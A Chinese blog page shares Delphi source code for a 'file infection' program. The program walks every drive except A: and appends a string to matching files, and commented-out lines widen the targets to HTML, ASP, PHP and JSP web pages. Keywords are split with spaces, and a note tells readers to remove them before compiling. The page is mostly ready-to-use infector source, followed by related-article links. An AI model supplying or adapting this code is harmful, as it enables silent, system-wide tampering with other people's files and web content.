Delphi感染文件的例子


本文整理自网络,侵删。

 program Ganran;

{$APPTYPE CONSOLE}

uses
windows,SysUtils,Classes;

const
WriteBuf='Http://www.baidu.com';

procedure InfectFile(Names:string);
var
str1:string;
f: TextFile;
begin
str1 :=Names;
//MessageBox(0,PChar(str1),'文件名',0);
Writeln('文件:'+str1+'被感染!');
AssignFile(f,str1);
Append(f);
Writeln(f,WriteBuf);
Flush(f);
CloseFile(f);
end;

procedure BrowseDir(strDir:string);
var
FileName,strExt,szDir,Path:string;
SubDir: TStrings;
i,Count:integer;
SearchRec: TSearchRec;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr and 16 <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目录
else if (SearchRec.Attr and 16 = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
Path :=strDir;
if (copy(Path,length(Path),1)<>'\') then
Path :=Path+'\';
szDir :=Path+'*.*';
if (FindFirst(szDir, faAnyFile, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 0 then
begin
FileName := Path + SearchRec.Name;
strExt := UpperCase(ExtractFileExt(FileName));
// if (strExt = '.HTM') o r (strExt = '.HTML') o r (strExt = '.SHTML') o r (strExt = '.ASP')
// o r (strExt = '.ASPX') o r (strExt = '.PHP') o r (strExt = '.JSP') then
if (strExt = '.HT') then
begin
InfectFile(FileName);
Sleep(100);
end;
end;
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirecto ry, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
fo r i := 0 to Count do
BrowseDir(Path + SubDir.Strings[i] + '\');
FreeAndNil(SubDir);
end;

procedure OnFindFile();
var
s:string;
buff:array[0..25] of char;
len,i:integer;
begin
len:=GetLogicalDriveStrings(sizeof(buff),buff);
fo r i:=0 to len-1 do
begin
if (buff[i]=char(0)) then
begin
s :=buff[i-3];
s :=s+buff[i-2];
s :=s+buff[i-1];
if (s='A:\') then
continue
else
BrowseDir(s);
end;
end;
//MessageBox(0,'感染完毕!','提示',0);
writeln('感染完毕!');
end;

var
ThreadID:DWo rd;
begin
//OnFindFile();
CreateThread(nil, 0, @OnFindFile, nil, 0, ThreadID);
while True do Sleep(1);
end.

调试的时候把搜索 o r 把中间的空格去掉!

相关阅读 >>

Delphi 取得开机时间 开机时间总长度(可精确到秒,分钟等)

Delphi根据url获取缓存文件的方法

Delphi 通�^窗口句柄或窗口标题得到进程句柄

Delphi 利用hook技术实现键盘监控

图解qq群如何快速找到自己想要的Delphi资源

Delphi 读取网上的文本文件

tsqlconnection连接mysql(utf8)的问题

Delphi内嵌汇编语言basm精要

Delphi检测当前鼠标点击处是否在指定控件内部

Delphi检测本机的网络连接状态的三种方法

更多相关阅读请进入《Delphi》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...